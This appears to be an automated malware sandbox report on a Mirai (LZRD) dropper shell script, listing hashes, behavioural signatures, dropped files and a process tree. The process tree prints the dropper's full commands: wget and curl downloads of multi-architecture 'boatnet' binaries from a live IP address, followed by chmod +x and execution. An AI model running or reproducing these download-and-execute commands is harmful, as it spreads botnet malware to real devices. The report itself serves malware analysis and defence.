Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-01-2025 04:22

General

  • Target

    f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh

  • Size

    2KB

  • MD5

    a04231d2572fe53296e84de33494e755

  • SHA1

    858cf66fac781dde0b6be798bec7976b36d91826

  • SHA256

    f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff

  • SHA512

    3f3405f3c6a3977d5445fa9595aeaba7e8531882a3d681a28e4ddb13777241765e7ffdbc329e2587ba70c97017fd65eae2376e5ce6ea54a4404d4ac92e0ccb96

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 43 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh
    /tmp/f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:728
    • /usr/bin/wget
      wget http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:732
    • /usr/bin/curl
      curl -O http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:743
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:754
      • /bin/chmod
        chmod +x boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
        2⤵
        • File and Directory Permissions Modification
        PID:755
      • /tmp/WTF
        ./WTF
        2⤵
          PID:756
        • /usr/bin/wget
          wget http://193.200.78.24/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:758
        • /usr/bin/curl
          curl -O http://193.200.78.24/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:761
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:762
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
          2⤵
          • File and Directory Permissions Modification
          PID:763
        • /tmp/WTF
          ./WTF
          2⤵
            PID:764
          • /usr/bin/wget
            wget http://193.200.78.24/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:766
          • /usr/bin/curl
            curl -O http://193.200.78.24/hiddenbin/boatnet.arc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:767
          • /bin/cat
            cat boatnet.arc
            2⤵
              PID:768
            • /bin/chmod
              chmod +x boatnet.arc boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
              2⤵
              • File and Directory Permissions Modification
              PID:769
            • /tmp/WTF
              ./WTF
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://193.200.78.24/hiddenbin/boatnet.i468
                2⤵
                  PID:772
                • /usr/bin/curl
                  curl -O http://193.200.78.24/hiddenbin/boatnet.i468
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:773
                • /bin/cat
                  cat boatnet.i468
                  2⤵
                    PID:780
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:782
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:783
                    • /usr/bin/wget
                      wget http://193.200.78.24/hiddenbin/boatnet.i686
                      2⤵
                        PID:785
                      • /usr/bin/curl
                        curl -O http://193.200.78.24/hiddenbin/boatnet.i686
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:790
                      • /bin/cat
                        cat boatnet.i686
                        2⤵
                          PID:797
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:798
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:800
                          • /usr/bin/wget
                            wget http://193.200.78.24/hiddenbin/boatnet.x86_64
                            2⤵
                              PID:802
                            • /usr/bin/curl
                              curl -O http://193.200.78.24/hiddenbin/boatnet.x86_64
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:806
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:812
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:813
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:815
                                • /usr/bin/wget
                                  wget http://193.200.78.24/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:817
                                • /usr/bin/curl
                                  curl -O http://193.200.78.24/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:826
                                • /bin/cat
                                  cat boatnet.mpsl
                                  2⤵
                                    PID:833
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:834
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Writes file to system bin folder
                                    • Reads runtime system information
                                    PID:836
                                  • /usr/bin/wget
                                    wget http://193.200.78.24/hiddenbin/boatnet.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:840
                                  • /usr/bin/curl
                                    curl -O http://193.200.78.24/hiddenbin/boatnet.arm
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:841
                                  • /bin/cat
                                    cat boatnet.arm
                                    2⤵
                                      PID:842
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:843
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:844
                                      • /usr/bin/wget
                                        wget http://193.200.78.24/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:846
                                      • /usr/bin/curl
                                        curl -O http://193.200.78.24/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:847
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:848
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-d7fb9c3dd91e4066bf03baa3a07596cc-systemd-timedated.service-egCEoU WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:849
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:850
                                          • /usr/bin/wget
                                            wget http://193.200.78.24/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:852
                                          • /usr/bin/curl
                                            curl -O http://193.200.78.24/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:857
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:868
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:870
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:871
                                              • /usr/bin/wget
                                                wget http://193.200.78.24/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:873
                                              • /usr/bin/curl
                                                curl -O http://193.200.78.24/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:880
                                              • /bin/cat
                                                cat boatnet.arm7
                                                2⤵
                                                  PID:887
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:888
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:890
                                                  • /usr/bin/wget
                                                    wget http://193.200.78.24/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:893
                                                  • /usr/bin/curl
                                                    curl -O http://193.200.78.24/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:898
                                                  • /bin/cat
                                                    cat boatnet.ppc
                                                    2⤵
                                                      PID:899
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:900
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:901
                                                      • /usr/bin/wget
                                                        wget http://193.200.78.24/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:903
                                                      • /usr/bin/curl
                                                        curl -O http://193.200.78.24/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:904
                                                      • /bin/cat
                                                        cat boatnet.spc
                                                        2⤵
                                                          PID:905
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:906
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:907
                                                          • /usr/bin/wget
                                                            wget http://193.200.78.24/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:909
                                                          • /usr/bin/curl
                                                            curl -O http://193.200.78.24/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:910
                                                          • /bin/cat
                                                            cat boatnet.m68k
                                                            2⤵
                                                              PID:911
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:912
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:913
                                                              • /usr/bin/wget
                                                                wget http://193.200.78.24/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:915
                                                              • /usr/bin/curl
                                                                curl -O http://193.200.78.24/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:916
                                                              • /bin/cat
                                                                cat boatnet.sh4
                                                                2⤵
                                                                  PID:917
                                                                • /bin/chmod
                                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:918
                                                                • /tmp/WTF
                                                                  ./WTF
                                                                  2⤵
                                                                    PID:919

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  23KB

                                                                  MD5

                                                                  419af9271063995aa7d8e36f7b9431cc

                                                                  SHA1

                                                                  048cefabc4702f4f301aba13a453592f862dac99

                                                                  SHA256

                                                                  7361c9bd5f6688bc9de5c6bd9ca7164edb537ccb08aa9c7522a620d4f410fba1

                                                                  SHA512

                                                                  eae11b558875bcd46845788e7b0a84ce9c97b80aa4909e34412bb9b9db449bd418421f14db3436adc53483737d21fe69b27a57f2098b24e27d0803d5fe01aa52

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  105KB

                                                                  MD5

                                                                  b209d553a02a0ad088f5b52e2bdda33d

                                                                  SHA1

                                                                  68260c4d8152a82a2df6dfd092969c81a4123431

                                                                  SHA256

                                                                  704c974b3616dd65eb799023471d933811e2cb7d8704e5e8eadba78d9c92b70f

                                                                  SHA512

                                                                  37814c4053a35e49907860f061ebbb715391e7f4a00d46ea96591673e94be73d4b032245b2289f60871f1ff870bce293cf12fbc8e7f806179fd068d57b5d6f50

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                                  SHA1

                                                                  750274b02d5f5b00026a4f55b020f4285c693533

                                                                  SHA256

                                                                  219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                                  SHA512

                                                                  36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  a8f502a6fb3b7b940e922c951d9e493a

                                                                  SHA1

                                                                  fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                                  SHA256

                                                                  748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                                  SHA512

                                                                  e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  57KB

                                                                  MD5

                                                                  813a453dcd16f3dabca9d11459e89328

                                                                  SHA1

                                                                  5180409485d6704faee3ab3378b71c1fc1512ac9

                                                                  SHA256

                                                                  e5af9a223519bafc9f55798d33802a0fe33ada434e7055ad616d50d24e9ddcba

                                                                  SHA512

                                                                  db98c29a1aa5ffc80bc398a3844521276abb9e52bd66675fdbc0e607e7a7539f5a01a0a458ad48285b82d5270db3a392e6950bf357766de2a110778bb7579b37

                                                                • /tmp/boatnet.x86

                                                                  Filesize

                                                                  20KB

                                                                  MD5

                                                                  911aa101a1f5c919712ab954d0dfaa3f

                                                                  SHA1

                                                                  6778ae6880057cbcebe3a593ee3115ae7eae2847

                                                                  SHA256

                                                                  30d62335e710f94be1996bf37c15f8c410e493c1c9d10cc7420f736778dc3c41

                                                                  SHA512

                                                                  981aee28346bcf9af048979ddf305a2483fe2e93d6b3f8dd07fa5793aea9c5b9a8e300b2c6368a5b5c6b7b2205cca4f5b9ea7ab22e191f0854e7bd7e093e9c33